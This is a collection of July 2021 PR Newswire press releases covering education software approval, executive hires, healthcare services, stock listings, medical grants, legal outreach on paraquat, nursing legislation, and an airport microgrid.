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NORTH BILLERICA, Mass., July 14, 2021 /PRNewswire/ -- The Oklahoma State Department of Education (OKSDE) recently named Curriculum Associates' i-Ready as a Reading Sufficiency Act (RSA) K3 State Approved Screening Instrument. With this approval, schools across the state can start using the award-winning Diagnostic in the 20222023 school year to screen students' reading skills and receive actionable criterion-referenced and normative data to deliver impactful student instruction. Today, the award-winning i-Ready program serves more than nine million students and 25 percent of all K8 students in the United States.

"Establishing a strong reading foundation at an early age is so important for students' ongoing success," said Rob Waldron, CEO of Curriculum Associates. "With this approval of i-Ready, we look forward to supporting educators in Oklahoma by providing the tools needed to help them understand exactly where their students are with their reading so they can target their instruction accordingly."

As detailed in the RSA, each student enrolled in Grades K3 in a public school in Oklahoma will be screened at the beginning, middle, and end of each school year for grade-level-specific reading skills, as identified in the subject-matter standards adopted by the OKSDE. Schools must use a State Boardapproved instrument for this screening.

In order to be included on the approved list, i-Ready had to meet criteria outlined by the OKSDE, including:

Meet the criteria of a screening instrument as defined by the OKSDE and the evidence standards from the National Center for Intensive Intervention.

Demonstrate convincing evidence for reliability and validity.

Assess all five reading skill areas defined in the RSA Oklahoma statute (i.e., Phonemic Awareness, Phonics, Reading Fluency, Vocabulary, and Comprehension).

Report scores as required by the RSA Oklahoma statute.

Provide accommodations for subgroups of students as required by the RSA Oklahoma statute.

In part with i-Ready, Oklahoma educators will receive Tools for Instruction aligned to the Science of Reading. These differentiated, teacher-led reading lessons support both remediation and enrichment across grade levels by meeting the needs of each student. Educators additionally have access to robust reports on individual student progress to further support explicit, systematic, and evidence-based literacy instruction.

To learn more about i-Ready, visit CurriculumAssociates.com/i-Ready.

About Curriculum Associates

Founded in 1969, Curriculum Associates, LLC designs research-based print and online instructional materials, screens and assessments, and data management tools. The company's products and outstanding customer service provide teachers and administrators with the resources necessary for teaching diverse student populations and fostering learning for all students.

Contact: Kati Elliott Charlotte Fixler

KEH Communications Curriculum Associates

(410) 975-9638 (978) 901-6066

[email protected] [email protected]

SOURCE Curriculum Associates, LLC

Related Links

www.curriculumassociates.com


SAN FRANCISCO, July 14, 2021 /PRNewswire/ -- OmniSci , the pioneer in accelerated analytics, today announced that the company has promoted Pey Silvester to Vice President of Engineering. Silvester joined OmniSci in 2019 as Director of Engineering and has played a key role in building the company's world-class engineering team. In her new position, she will lead all aspects of product development for the fast-growing technology and analytics innovation leader.

"Pey has done an amazing job driving product development, extending the OmniSci platform and creating a top-flight engineering team," said Todd Mostak, co-founder and CEO of OmniSci. "Just as importantly, she embodies the company's obsession with customer-focused innovation and has been instrumental in furthering our mission to make analytics instant, powerful and effortless for everyone. I look forward to continuing to work with her toward that goal in her new role."

With a decade and a half of proven engineering leadership experience, Silvester's expertise includes leading teams that deliver world-class enterprise and consumer applications. Prior to joining OmniSci, Silvester built Amazon's first Alexa team in Vancouver and launched the Alexa Skills Kit simulators and testing platforms. Before that, Silvester led performance, QA and engineering teams at NetApp, launching the company's large-scale, high-performance object, CIFS and NFS storage platforms. Earlier in her career, Silvester held key leadership roles in engineering, QA, automation, infrastructure, performance and analytics at Bycast Inc.

"When I first got a look at OmniSci's capabilities several years ago, I was blown away by the platform's potential to transform big data analytics, and I was so impressed by the quality of the OmniSci team and the company's incredible workplace culture," Silvester said. "We've achieved extraordinary things together over the past few years, and we're just getting started. I'm excited about the company's future and thrilled to be a part of it in this new role."

About OmniSci:

OmniSci is the pioneer in accelerated analytics. The OmniSci platform is used in business and government to find insights in data beyond the limits of mainstream analytics tools. Harnessing the massive parallelism of modern CPU and GPU hardware, the platform is available in the cloud and on-premise. OmniSci originated from research at Harvard and MIT Computer Science and Artificial Intelligence Laboratory (CSAIL). OmniSci is funded by GV, In-Q-Tel, New Enterprise Associates (NEA), NVIDIA, Tiger Global Management, Vanedge Capital and Verizon Ventures. The company is headquartered in San Francisco. Learn more about OmniSci at www.omnisci.com .

MEDIA CONTACT:

Kasey Thomas

Next PR

925/285-6449 (mobile)

[email protected]

SOURCE OmniSci
PEORIA, Ill., July 14, 2021 /PRNewswire/ -- What does the hospital of the future look like? OSF HealthCare, which has 15 hospitals throughout Illinois and the upper peninsula of Michigan, recently unveiled its OSF OnCall Digital Health building in Peoria, Illinois  where OSF HealthCare is headquartered.

OSF OnCall is the digital health entity within OSF HealthCare  essentially a hospital without the bricks and mortar. Providing an array of services anytime, anywhere, OSF OnCall includes digital platforms and software to connect people with care 24/7. The OSF OnCall building is considered the virtual hospital that serves as the epicenter of this care. It is the only one of its kind in Illinois, spanning the entire care continuum  from its digital front door through intensive care, if necessary. The care is highly personalized and reaches individuals wherever they are located, allowing for expanded services through technology.

During the COVID-19 pandemic, OSF OnCall provided innovative solutions such as the Pandemic Health Worker (PHW) program; Clare, a digital COVID-19 assistant on the OSF HealthCare website; and a 24/7 nurse hotline  all designed to alleviate stress on health care resources. Now with the pandemic easing, the new three-story OSF OnCall building in Peoria is expanding its state-of-the-art technological services to be utilized in a post-pandemic world.

"OSF OnCall is our digital health entity that sits within OSF HealthCare. So what we're so excited about in this building is that we are able to bring our teams that were in multiple locations in the past to one location to have that care delivery that reaches across the state of Illinois  and hopefully in the future, even beyond," explained Jennifer Junis, the senior vice president of OSF OnCall.

She continues: "This is our virtual hospital, or our hospital without walls. So what you will see within this building are our care teams that are delivering care through technology out into other areas  into our hospitals, directly to patients in their homes, and they are able to monitor them through technology. We are able to really meet patients and care for them where they are."

OSF OnCall provides a wide array of digital health capabilities, including: Remote patient monitoring; fall prevention innovations; virtual nurse triaging; intensive care monitoring; and many more examples of state-of-the-art technology and capabilities  including OSF OnCall Connect telehealth carts.

Suzanne Hinderliter is the director of digital acute services for OSF HealthCare. She and her team monitor and manage the telehealth carts used Ministry-wide.

"We have 40 telehealth carts available across the OSF Ministry and at an outreach facility that we help monitor and manage as well. We use these for digital acute care for patients that are either in the emergency department or an inpatient unit. We also have some that are in clinics where we're able to connect specialists and specialty care providers with patients in remote locations," Hinderliter says.

These telehealth carts are the future of medicine  and they have been especially critical over the course of the last year.

"These devices are mobile  so we are able to take them to where the patient is within the hospital and get them that care. These carts were instrumental during the COVID pandemic waves that we've had. We were able to get these resources out to our facilities and manage more patients than we've ever managed before," explains Hinderliter.

She adds: "We can use them at all of our facilities, really providing that same level of care at a small facility like Saint Luke (Kewanee, Illinois) or Holy Family (Monmouth, Illinois) as we would be providing at one of our larger facilities like Saint Anthony in Rockford or Saint Francis in Peoria."

OSF OnCall also provides hospitalist services, a technology-centric solution providing high quality inpatient care for adult patients remotely, 365 days a year. Furthermore, OSF OnCall offers an alternative to the standard inpatient acute care admission by providing all the services a patient needs for an acute care admission in the comfort of their own home. The "digital hospital at home" model provides hospital-level acute care services with a combination of in-person care and a digital command center that provides coordination, navigation, and continuity of care from initial admission through the post-acute phase of care.

"I think one of the things that is really important about the OSF OnCall building is that we use the guiding principles of '24/7, 365.' So this is care that is delivered around the clock. It's also care that is seamless. And we use the design of this building to really empower our Mission Partners, or employees, with the tools, technology, and equipment they need to care for those far reaching," says Junis.

Learn more about OSF OnCall at www.osfhealthcare.org/oncall/ .

Photos, plus video and audio for this story are available at our OSF Newsroom.

Contact: Shelli Dankoff | Media Relations Supervisor | Cell Phone (309) 825-7255

SOURCE OSF HealthCare

Related Links

http://www.osfhealthcare.org/oncall/


NEW YORK, July 14, 2021 /PRNewswire/ -- OTC Markets Group Inc. (OTCQX: OTCM), operator of financial markets for 11,000 U.S. and global securities, today announced Ascend Wellness Holdings, Inc. (CSE: AAWH.U,OTCQX: AAWH), a multi-state, vertically integrated cannabis operator, has qualified to trade on the OTCQX Best Market.

Shares of Class A common stock for Ascend Wellness Holdings, Inc. to begin trading on OTCQX under the symbol "AAWH." U.S. investors can find current financial disclosure and Real-Time Level 2 quotes for the company on www.otcmarkets.com.

Trading on the OTCQX Market offers companies efficient, cost-effective access to the U.S. capital markets. For companies listed on a qualified international exchange, streamlined market standards enable them to utilize their home market reporting to make their information available in the U.S. To qualify for OTCQX, companies must meet high financial standards, follow best practice corporate governance, and demonstrate compliance with applicable securities laws.

"We are extremely proud to announce the commencement of trading on the OTCQX Best Market," said Abner Kurtin, CEO and Chairman of AWH. "We are excited to welcome a wider pool of retail and institutional shareholders throughout the United States the opportunity to participate in our success, which has been driven by our high-quality, strategically located vertically integrated operations and well-established flagship retail locations in high-traffic areas. We will continue to provide best-in-class disclosure, as we are the first US domiciled MSO to complete an SEC registered IPO with GAAP financials."

Dorsey & Whitney LLP acted as the company's OTCQX sponsor.

About Ascend Wellness Holdings, Inc.

AWH is a vertically integrated operator with assets and partners in Illinois, Michigan, Ohio, Massachusetts and New Jersey. AWH owns and operates state-of-the-art cultivation facilities, growing award winning strains and producing a curated selection of products. AWH produces and distributes Ozone branded products. For more information, visit www.awholdings.com.

About OTC Markets Group Inc.

OTC Markets Group Inc. (OTCQX: OTCM) operates the OTCQX Best Market, the OTCQB Venture Market and the Pink Open Market for 11,000 U.S. and global securities. Through OTC Link ATS and OTC Link ECN, we connect a diverse network of broker-dealers that provide liquidity and execution services. We enable investors to easily trade through the broker of their choice and empower companies to improve the quality of information available for investors.

To learn more about how we create better informed and more efficient markets, visit www.otcmarkets.com.

OTC Link ATS and OTC Link ECN are SEC regulated ATSs, operated by OTC Link LLC, member FINRA/SIPC.

Subscribe to the OTC Markets RSS Feed

Media Contact:

OTC Markets Group Inc., +1 (212) 896-4428, [email protected]

SOURCE OTC Markets Group Inc.

Related Links

http://www.otcmarkets.com


NEW YORK, July 14, 2021 /PRNewswire/ -- OTC Markets Group Inc. (OTCQX: OTCM), operator of financial markets for 11,000 U.S. and global securities, today announced Fosterville South Exploration Ltd. (TSX-V: FSX) (OTCQX: FSXLF), a gold exploration company, has qualified to trade on the OTCQX Best Market. Fosterville South Exploration Ltd. upgraded to OTCQX from the Pink market.

Fosterville South Exploration Ltd. begins trading today on OTCQX under the symbol "FSXLF." U.S. investors can find current financial disclosure and Real-Time Level 2 quotes for the company on www.otcmarkets.com.

Upgrading to the OTCQX Market is an important step for companies seeking to provide transparent trading for their U.S. investors. For companies listed on a qualified international exchange, streamlined market standards enable them to utilize their home market reporting to make their information available in the U.S. To qualify for OTCQX, companies must meet high financial standards, follow best practice corporate governance and demonstrate compliance with applicable securities laws.

"We are pleased to reach the milestone of advancing to the OTCQX, which gives US-based investors enhanced tools to analyze, value and trade our securities" said Bryan Slusarchuk, CEO of Fosterville South Exploration Ltd.

O'Neill Law LLP acted as the company's OTCQX sponsor.

About Fosterville South Exploration Ltd.

Fosterville South began with two, 100% owned, high-grade gold projects called the Lauriston and Golden Mountain Projects, and has since acquired a large area of granted and application tenements containing further epizonal (low-temperature) high-grade gold mineralisation called the Providence Project and a large group of recently consolidated license tenement applications called the Walhalla Belt Project, which contain a variety of epizonal and intrusion related style gold mineralisation, all in the state of Victoria, Australia. The Fosterville South land package, assembled over a multi-year period, notably includes a 600 sq. km property immediately to the south of and within the same geological framework that hosts Kirkland Lake Gold's Fosterville epizonal gold tenements. Additionally, Fosterville South has gold-focused projects called the Moormbool and Beechworth, which are also located in the state of Victoria, Australia. Moormbool project has epizonal style gold mineralisation and Beechworth has mesozonal and intrusion relation gold mineralisation.

All of Fosterville South's properties, with the possible exception of Moormbool, have had historical gold production from hard rock sources despite limited modern exploration and drilling.

About OTC Markets Group Inc.

OTC Markets Group Inc. (OTCQX: OTCM) operates the OTCQX Best Market, the OTCQB Venture Market and the Pink Open Market for 11,000 U.S. and global securities. Through OTC Link ATS and OTC Link ECN, we connect a diverse network of broker-dealers that provide liquidity and execution services. We enable investors to easily trade through the broker of their choice and empower companies to improve the quality of information available for investors.

To learn more about how we create better informed and more efficient markets, visit www.otcmarkets.com.

OTC Link ATS and OTC Link ECN are SEC regulated ATSs, operated by OTC Link LLC, member FINRA/SIPC.

Subscribe to the OTC Markets RSS Feed

Media Contact:

OTC Markets Group Inc., +1 (212) 896-4428, [email protected]

SOURCE OTC Markets Group Inc.

Related Links

http://www.otcmarkets.com


LOS ANGELES, July 14, 2021 /PRNewswire/ -- It's hard to imagine losing your ability to have children when you're only 30-years-old. But for women who suffer from uterine fibroids, that could be the reality if their doctor recommends they undergo a hysterectomy. Although uterine fibroids are among the most common gynecological issues, there is a lack of awareness, education, and prioritization about this women's health issue.

Over 20 million women between the ages of 15 and 50 have uterine fibroids. Minimally invasive procedures relieve women of pelvic pain, urinary frequency, heavy menstruation, while still preserving their fertility. Dr. Steve Yu is a Southern California-based surgeon specializing in minimally invasive gynecological surgery (MIGS) at the Rox Surgery Center in Newport Beach.

Dr. Steve Yu of the Rox Surgery Center in Newport Beach, California. Dr. Yu has devoted his practice to pioneering the treatment of uterine fibroids through minimally invasive gynecologic surgery (MIGS), and has performed over a thousand of these laparoscopic and robotic procedures. These procedures relieve women of pelvic pain, urinary frequency and heavy menstruation, while still preserving their fertility. The huge benefits of minimally invasive surgery are significantly improved cosmetic appearance; less pain; quicker recovery; less scar tissue; less risk of bleeding; and less risk of infection.

"Uterine fibroids do not always need to be removed. Fibroids need to be treated or removed only if you are symptomatic, or if the fibroids are causing infertility," Dr. Yu said. "Many people don't know how easy it is to fix uterine fibroids with minimally invasive procedures."

Uterine fibroids are benign tumors in a woman's uterus that can cause reproductive problems and other complications such as heavy bleeding and pelvic pain. According to the Center for Disease Control, over 26 million women between the ages of 15 and 50 have uterine fibroids. They are most prevalent in women in their 30s and 40s. Studies show African-American women suffer fibroids 2-3 times more than white women, and at a younger age.

For years, doctors have treated fibroids by performing a hysterectomy, a surgery to remove part or all of a woman's uterus. The invasive procedure also eliminates a woman's period and her ability to bear children.

For women who want to preserve their uterus' functionality to have children in the future, Dr. Yu recommends minimally invasive myomectomy surgery. During this procedure, uterine fibroids are removed through small incisions made in the abdomen.

Another minimally invasive procedure, the Acessa procedure, treats uterine fibroids by applying controlled heat to the fibroids. This heat destroys the fibroid tissue and causes the fibroids to shrink over time.

"I believe that women have been mistreated when it comes to gynecologic care," Dr. Yu said. "I only perform hysterectomies when absolutely necessary. Whenever possible, fibroids should be treated with minimally invasive procedures, leaving the uterus and ovaries intact."

About Dr. Steve Yu

Dr. Steve Yu is a Southern California-based surgeon specializing in minimally invasive gynecological surgery (MIGS) at the Rox Surgery Center in Newport Beach. In 2008, he finished his residency at Case Western Reserve University. He took his expertise in MIGS to UCLA, where he worked as an associate professor. Dr. Yu is also experienced in vaginal rejuvenation and minimally invasive treatment for urinary incontinence.

Contact:

Dr. Steve Yu

949.432.4017

www.femalehealthspecialist.com

[email protected]



Media Contact:

Christine King

[email protected] , 310.779.4643

SOURCE Dr. Steve Yu
"At PanCAN, we recognize that research is critical in the fight to improve outcomes for pancreatic cancer patients, and we will continue to invest significant dollars into this arena to support and build the research community," said Julie Fleshman, JD, MBA, president and CEO of PanCAN. "Thanks to the support of our generous donors, we are proud to be funding so many innovative research projects this year."

The following researchers are recipients of PanCAN Early Career Development Awards and Fellowships this year:

Victoire Cardot-Ruffino , PhD, Dana-Farber Cancer Institute, funded by the Francois Wallace Monahan Fund in memory of Michael Insel

, PhD, Dana-Farber Cancer Institute, funded by the Francois Wallace Monahan Fund in memory of Rohit Chandwani , MD, PhD, Weill Cornell Medicine, funded by The Jim & Shirley Young Family Foundation

, MD, PhD, Weill Cornell Medicine, funded by The Jim & Shirley Young Family Foundation Robert Eil , MD, Oregon Health & Science University, made possible by Tilynn Bontrager in memory of Polly Mast

, MD, Oregon Health & Science University, made possible by in memory of Ralph Francescone , PhD, Fox Chase Cancer Center, in memory of Skip Viragh

, PhD, Fox Chase Cancer Center, in memory of Aditi Jain, PhD, Thomas Jefferson University

John Morris IV , PhD, University of North Carolina at Chapel Hill , in memory of Skip Viragh

, PhD, , in memory of Shannon Oda , PhD, Seattle Children's Research Institute, University of Washington , made possible by Linda E. Amuso in memory of Susan A. Lombardi

, PhD, Seattle Children's Research Institute, , made possible by in memory of Charline Ogier , PhD, Fox Chase Cancer Center, funded by the Francois Wallace Monahan Fund in memory of Michael Insel

, PhD, Fox Chase Cancer Center, funded by the Francois Wallace Monahan Fund in memory of Catherine F. Whittington , PhD, Worcester Polytechnic Institute

Additionally, the following researchers are recipients of PanCAN Research Project Grants, with a focus on early detection and improving diversity and equity in understanding pancreatic cancer genetic risk factors:

Wansu Chen , PhD, MS, Kaiser Permanente Southern California

, PhD, MS, Kaiser Permanente Southern California Sapna Syngal , MD, MPH, Dana-Farber Cancer Institute

Finally, along with the new 2021 funding, PanCAN and its scientific reviewers have also awarded two targeted grant extensions to previously funded investigators to continue their highly promising projects. Extension recipients include:

Gregory Beatty , MD, PhD, Perelman School of Medicine at the University of Pennsylvania , funded in memory of Skip Viragh

, MD, PhD, Perelman School of Medicine at the , funded in memory of Sunil R. Hingorani , MD, PhD, Fred Hutchinson Cancer Research Center

Of the newly awarded grants, this year's recipients include 10 first-time PanCAN grantees and two new institutions. All grantees and extensions were selected through a thorough, peer-review process.

The seven Career Development Award and two Fellowship grants awarded this year support projects led by early-career researchers, helping them further establish themselves in order to secure funding from other sources in the future. In a recent evaluation of PanCAN's Grant Program, which looked at grants awarded between 2003 and 2019, PanCAN Career Development Awardees go on to receive an average of $31.23 in subsequent pancreatic cancer research funding for every dollar PanCAN has invested in them. Awardees across all PanCAN grant types go on to receive an average of $11.50 in subsequent funding for each dollar PanCAN has invested (up from $11.01 in 2015 when the last grants program evaluation took place). Additionally, PanCAN grant funding during the evaluation period has resulted in more than 2,700 scientific publications and those publications were cited more than 260,000 times.

"The regular evaluation of our grants program is important to ensure we are investing the funds of our charitable donors wisely and strategically," said Lynn Matrisian, PhD, MBA, chief science officer at PanCAN. "These results clearly demonstrate the productivity of the investigators and the scientific impact of the research we have funded."

Since 2003, PanCAN's grants program has awarded 218 grants to 203 scientists at 75 institutions. Beyond research funding, grant recipients also gain access to PanCAN's Community for Progress, a cohesive network of researchers focused on improving pancreatic cancer patient outcomes through mentorship and collaboration.

As the third leading cause of cancer-related death in the United States and with a five-year survival rate of just 10%, pancreatic cancer demands urgent action to save lives. There is currently no early detection test for pancreatic cancer and few effective treatments are available, therefore the ongoing funding of innovative research is crucial to solving this challenging disease.

Learn more about PanCAN's research investments, visit pancan.org or follow the Pancreatic Cancer Action Network on Twitter, Instagram, and Facebook.

About the Pancreatic Cancer Action Network

The Pancreatic Cancer Action Network (PanCAN) leads the way in accelerating critical progress for pancreatic cancer patients. PanCAN takes bold action by funding life-saving research, providing personalized patient services and creating a community of supporters and volunteers who will stop at nothing to create a world in which all pancreatic cancer patients will thrive.

Media Contact:

Jillian Scholten

Senior Manager, Public Relations

Pancreatic Cancer Action Network

949-244-2561

[email protected]

SOURCE Pancreatic Cancer Action Network

Related Links

www.pancan.org


DES MOINES, Iowa, July 14, 2021 /PRNewswire/ -- Today, Paraquat Legal Resources held its first town hall meeting to speak with farm families and others who may have been exposed to the herbicide paraquat, for which the impacts can be devastating.

Scientists have known for years that paraquat is linked to Parkinson's Disease and kidney disease yet it is sold to farmers and applicators in the U.S. Paraquat is sprayed on everything from corn and soybeans to citrus and grapes across the United States, risking the lives of American farmers, farmworkers and their families as they work to feed the world.

Exposure to paraquat as it is applied and as it lingers on clothing and equipment can be life altering. One sip of this dangerous herbicide can kill. China, Brazil, and approximately 40 other countries have banned the use of paraquat.

Jeff Link of Jeff Link Law, PLLC, and his colleagues working as Paraquat Legal Resources are working to inform farmers and agriculture workers on the dangers of paraquat and aid those suffering from these debilitating diseases due to exposure.

"American farmers contribute hundreds of billions of dollars to our GDP, feeding our nation and those abroad," said Link. "Sadly, many are risking their lives and livelihood by spraying a known deadly herbicide while the chemical companies profit. It's time these companies face some accountability for the devastating impact of their products."

Link has previously worked under the trade name Midwest Corn Lawsuit, on behalf of farmers who lost revenue due to Syngenta Seed's negligence. That case resulted in recoveries for many American corn farmers injured by Syngenta's conduct.

The town hall meeting took place in Marshall, Minnesota and more are expected soon as Paraquat legal Resources educates potential plaintiffs about exposure and paraquat's link to Parkinson's Disease and kidney disease.

Paraquat is known to many by its brand names Gromoxone, Blanco, Chevron, Devour, and Helmquat.

Individuals exposed to paraquat and diagnosed with Parkinson's or kidney failure should contact Paraquat Legal Resources for more information and a free evaluation.

Jeff Link of Jeff Link Law, PLLC and Paraquat Legal Resources can be reached at (844) 752-6224 toll-free or (515) 489-0006 or at ParaquatLR.com.

SOURCE Paraquat Legal Resources
PARK RIDGE, Ill., July 13, 2021 /PRNewswire/ -- Michigan patients now have increased access to safe, affordable care with the signing of HB 4359 by Governor Gretchen Whitmer. The law removes supervision requirements for nurse anesthetists and grants them the authority to collaboratively participate in a patient-centered healthcare team.

Michigan is now the 43rd state that does not require physician supervision of Certified Registered Nurse Anesthetists (CRNAs) in the state nurse practice act.

"Removing barriers to CRNA practice allows Michigan hospitals to select the anesthesia delivery model that maximizes their workforce and increases access to safe, affordable care for all patients," said Toni Schmittling, DNAP, MBA, CRNA, president of the Michigan Association of Nurse Anesthetists (MANA). "By signing this important legislation, Michigan recognizes that CRNAs are qualified to make decisions regarding all aspects of anesthesia care based on their education, licensure, and certification."

Anesthesia services are provided predominantly by CRNAs in Michigan's critical access hospitals offering surgical services in 99% of its rural hospitals. They comprise 68% of the state's anesthesia care providers.

In March 2020, to maximize healthcare resources during the outbreak of the COVID-19 pandemic, Gov. Whitmer enacted an executive order removing physician supervision for CRNAs. This legislation makes that order permanent. CRNAs are experts in airway management, hemodynamic monitoring, management of patients on ventilators, and overall management of critically ill patients.

"Throughout the COVID-19 pandemic Michigan CRNAs have been essential in addressing the deadliest part of the disease in addition to providing top-of-the-line anesthesia care," said President Schmittling. "With years of critical care nursing experience before anesthesia training, CRNAs expertly care for the whole patient, not just his or her condition, and makes patient care more affordable and accessible. In rural Michigan, this access to surgical, obstetrical and emergency services close to home is vital."

The new law provides that a nurse anesthetist may, within the scope of practice, select, order, prescribe and administer anesthesia and analgesic agents during the perioperative, periobstetrical, or periprocedural period, consistent with health care facility policy. CRNAs collaboratively participate in a patient-centered care team, which is a group of health care professionals including, but not limited to, a physician, dentist or podiatrist, who directly or indirectly care for a patient by each contributing specialized knowledge, skill and experience.

"The American Association of Nurse Anesthetists (AANA) applauds Gov. Whitmer for recognizing the important role CRNAs have in delivering safe anesthesia care in Michigan," said Steven M. Sertich, CRNA, MAE, JD, Esquire, AANA president. "Increased demand, limited resources, and the rural nature of the state dictate that a system capable of meeting the needs of all Michigan residents be maintained and this law provides that."

SOURCE American Association of Nurse Anesthetists

Related Links

www.aana.com


"PenFed is honored to be recognized by U.S. Veterans Magazine for the third straight year for our commitment to the military community," said PenFed Credit Union President/CEO and PenFed Foundation CEO James Schenck. "We are proud to celebrate the resiliency of veterans and military spouses here at PenFed. Veterans bring a wealth of skills and knowledge that are invaluable to our team and, as we grow, we will continue our robust recruiting efforts within the military community."

The annual review is an evaluation of the military employment efforts of the nation's employers, initiatives, government agencies and educational institutions. This non-biased study provides a valuable resource for jobseekers, business owners, students, consumers, senior management, business associations, employment agencies and consumer groups. PenFed's achievement will be publicized in the August/Fall 2021 print and online issue of U.S. Veterans Magazine.

As part of an ongoing commitment to hiring and supporting the military community, PenFed operates a Military Employment Program focused on every phase of the employment lifecycle for all members of the military community  including veterans, military and surviving spouses, wounded warriors and their caregivers, Reservists and National Guardsmen.

In addition to spending 10% of its recruiting budget on hiring and retaining veterans and military spouses, PenFed collaborates with dozens of military employment organizations, as well as dozens of installation Transition Assistance Program offices, to enhance our military employment efforts. Members of the military community interested in a career with a military-friendly company are encouraged to visit PenFed's Military Recruiting Webpage. This webpage allows members of the military community to join our military talent community and search for jobs based on their skillsets and experience using a Military Occupational Specialty code.

PenFed has a strong legacy of being a military-friendly company and donates 2% of its annual net income to charitable organizations, with the majority going to military charities. The PenFed Foundation, a national 501(c)3 founded by PenFed Credit Union, was created in 2001 and, since then, has provided more than $38.5 million in financial support to veterans, active-duty service members, families, and caregivers.

About PenFed Credit Union

Established in 1935, Pentagon Federal Credit Union (PenFed) is America's second-largest federal credit union, serving 2.3 million members worldwide with $28 billion in assets. PenFed Credit Union offers market-leading certificates, checking, credit cards, personal loans, mortgages, auto loans, student loans, and a wide range of other financial services. Our mission is to empower members of our community to achieve their financial well-being. PenFed Credit Union is federally insured by the NCUA and is an Equal Housing Lender. To learn more about PenFed Credit Union, visit PenFed.org, like us on Facebook and follow us @PenFed on Twitter. Interested in working for PenFed? Check us out on LinkedIn. We are proud to be an Equal Employment Opportunity Employer.

SOURCE PenFed Credit Union

Related Links

http://www.PenFed.org


The all-new City Limits Subaru will be located on 12 acres on I-35 S and Tollway 45 and will be a nearly 90,000 square foot facility with 60 service bays to accommodate demand for Subaru sales and service.

The open point was awarded to Cavender Auto Family and Cavender Herrera Autoworks, LP and is a continuation of their efforts to expose and promote minority candidates.

"We feel like Subaru is the perfect brand to add to our group's portfolio and is well aligned with Austin's love of animals and the outdoors," said Julie Herrera, Dealer Principal at Toyota of Cedar Park. She added, "We pride ourselves on being different. All of our dealerships are very active in their communities, promote a culture of inclusivity, and make our customer's needs our top priority. City Limits Subaru will feature an expansive outdoor children's play area with food trucks, spacious dog park, cafe/coffee bar, and a Subaru retail accessories store. We're excited about our new partnership with Subaru and look forward to helping take the brand to new heights."

Stephen Cavender, whose family has owned and operated import, domestic, and luxury brand dealerships across Texas for over 75 years, is excited to bring a new brand to the family's auto group while expanding its footprint in Central Texas. "Subaru owners are loyal, passionate, and have a high level of expectation for service and quality. Our team is eager to meet this expectation with an enthusiasm for customer service you will find at every Cavender dealership."

Subaru perennially wins industry awards for quality, safety, and brand loyalty. The Subaru brand is anchored by The Subaru Love Promise, Subaru's commitment to making the world a better place. This includes Subaru Loves Pets, Subaru Loves the Earth, Subaru Loves to Help, Subaru Loves Learning, and Subaru Loves to Care outreach and charity efforts.

For more information contact:

Pam LeJeune

[email protected]

(225) 933-7428

SOURCE Toyota of Cedar Park
NEW YORK, July 14, 2021 /PRNewswire/ -- PetWellClinic, an emerging pet-wellness franchise, has signed a six-unit franchise agreement to open locations in New York City, beginning with Manhattan. The first location will be located in the Upper West Side, the second in the Upper East Side; both locations slated to open by yearend.

PetWellClinic's revolutionary walk-in pet clinic care model provides accessibility and convenience to pet owners in this particular high-traffic market. The on-demand availability allows for pet owners to receive pet care services on the spot through experienced veterinarians and vet technicians; a stark contrast to other vet clinic's long waiting lists.

"The brand is venturing into the New York City market for the first time and we're excited for locals to experience our high-quality care that will soon be readily available," said Dr. Sam Meisler, founder and CEO of PetWellClinic. "Just like humans don't treat every issue with a trip to the ER, our clinics offer a conveniently located solution to wellness and preventive care, handling minor pet issues/ailments, and even treating chronic conditions. Our hope is to become the go-to, trusted neighborhood vet clinic."

The one-of-a-kind service model also creates a sought-after ownership opportunity for experienced veterinarians and vet technicians. Work-life balance is important to the PetWellClinic team, which is why their 8-hour shifts and specified service offering make it an ideal work environment.

PetWellClinic veterinarians no longer need to worry about lengthy medical procedures or on-call expectations. Vets can focus their attention completely on providing individualized, preventative care for pets, while the backend management and administrative work is handled.

Each location will also utilize a proven veterinary software program designed by Dr. Meisler to run seamlessly and maximize efficiency. The locations will also be designed for complete transparency and openness, so clients can see everything that is going on from the front of the clinic to the back.

ABOUT PETWELLCLINIC

PetWellClinic is a walk-in veterinary clinic, providing excellent preventative, wellness and sick care for dogs and cats on an on-demand basis. There is no need for an appointment because PetWellClinic's technology, design, and operational systems provide customers with a modern-day experience in an antiquated industry. PetWellClinic recently began franchising after the success of its company-owned operations in Knoxville, Tennessee, and already has 80 units in development since August of 2020.

For more information on PetWellClinic franchise opportunities, please visit www.petwellfranchise.com or contact Joe Sexton at [email protected].

PetWellClinic has partnered with Oakscale, to lead franchise development efforts for the brand. For more information on Oakscale, please visit www.oakscale.com.

SOURCE PetWell Franchisor, LLC.

Related Links

http://www.petwellfranchise.com


The first-of-its kind microgrid increases resilience and maximizes public safety and makes PIT one of the most site-hardened airports in the world.

Airports across the country have been exploring ways to increase power resilience and reliability after several high-profile power outages resulted in thousands of cancelled flights and passenger disruptions. As PIT is set to break ground on building the smartest airport in the world through its new terminal project, creating smart power infrastructure is a key step that can serve as a blueprint for others.

"Our region has innovation in its DNA, and the construction of this microgrid reflects the work that has been done at the airport to maximize public safety and sustainability," said Allegheny County Executive Rich Fitzgerald. "I'm extremely proud that the airport is utilizing nearly 10,000 solar panels as a source of sustainable energy. It, along with the other mix of energy generated at the airport, continues to position this facility as an industry leader. Congratulations to Christina, and the entire team, for their work on this important project."

The power generated at PIT is the primary supply for the entire airport, including the terminals, airfield, Hyatt hotel and Sunoco. The airport will remain connected to the traditional electrical grid as an option for emergency or backup power if needed. The microgrid will generate power, in part, through onsite natural gas wells and 9,360 solar panels across eight acres.

"Pittsburgh International Airport is now one of the most site-hardened public facilities in the world while at the same time becoming more sustainable. That's a tribute to the innovative culture of our team, and we hope this project can be a model across the industry," said Pittsburgh International Airport CEO Christina Cassotis.

The Allegheny County Airport Authority Board of Directors in 2019 awarded Peoples Natural Gas a 20-year contract to build, maintain and operate the microgrid at no cost to the airport. In addition to boosting power resiliency and redundancy, the microgrid will achieve savings on electricity costs for the airport and tenants.

Crews started construction in July 2020 and completed the project on schedule even as the pandemic stalled the aviation industry last year.

"Essential Utilities and Peoples Gas are proud to be an integral part of the airport microgrid project," said Christopher Franklin, chairman and chief executive officer, Essential Utilities. "We're demonstrating how new, alternative energies like solar can be integrated with traditional power sources like natural gas. This energy solution provides the airport with a more resilient power supply, as well as reducing its emissions."

What is a microgrid?

A microgrid is an independent electricity source that can operate autonomously while maintaining a connection to the traditional grid. It will be powered by natural gas drilled on-site by CNX Resources, in addition to gas from the interstate pipeline system and solar generation. The project will offer a more efficient, sustainable and resilient source of energy.

